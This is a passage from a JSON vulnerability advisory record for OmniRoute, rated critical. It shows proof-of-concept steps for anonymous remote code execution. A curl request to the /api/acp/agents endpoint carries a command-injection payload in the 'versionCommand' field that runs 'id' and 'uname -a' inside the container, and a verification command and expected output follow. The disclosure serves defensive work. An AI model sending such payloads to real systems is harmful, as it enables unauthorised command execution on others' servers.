'{\"requireLogin\":false}'\n```\n\nIf the target is already in `requireLogin=false`, this step is not needed.\n\n### 6.3 Trigger RCE Anonymously\n\nThe following request sends no cookie and no Bearer token:\n\n```bash\ncurl -s -X POST \"http://localhost:20128/api/acp/agents\" \\\n  -H \"content-type: application/json\" \\\n  -d '{\n    \"id\":\"anonrce\",\n    \"name\":\"anonrce\",\n    \"binary\":\"node\",\n    \"protocol\":\"stdio\",\n    \"versionCommand\":\"node -e \\\"require('\\''fs'\\'').writeFileSync('\\''/app/data/UNAUTH_RCE_PROOF.txt'\\'',require('\\''child_process'\\'').execSync('\\''id'\\'').toString()+require('\\''child_process'\\'').execSync('\\''uname -a'\\'').toString())\\\"\"\n  }'\n```\n\n### 6.4 Verify Command Execution\n\n```bash\ndocker exec omniroute-poc cat /app/data/UNAUTH_RCE_PROOF.txt\n```\n\nExpected output is similar to:\n\n```text\nuid=1000(node) gid=1000(node) groups=1000(node)\nLinux \u003ccontainer-id\u003e \u003ckernel-version\u003e ... \u003carch\u003e GNU/Linux\n```\n\nThis proves that the anonymous HTTP request executed `id` and `uname -a` inside the OmniRoute\ncontainer.\n\n\u003cimg width=\"2123\" height=\"1195\" alt=\"image\" src=\"https://github.com/user-attachments/assets/935ae9c2-3d75-45ec-9a90-f325bbd17e4f\" /\u003e","status":"published","published":"2026-09-10T21:22:12Z","modified":"2026-09-10T21:30:04.793943024Z","cvss":[{"version":"4.0","score":9.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-306","CWE-94"],"updated_at":"2026-11-02T15:46:48.920784Z"}]}}
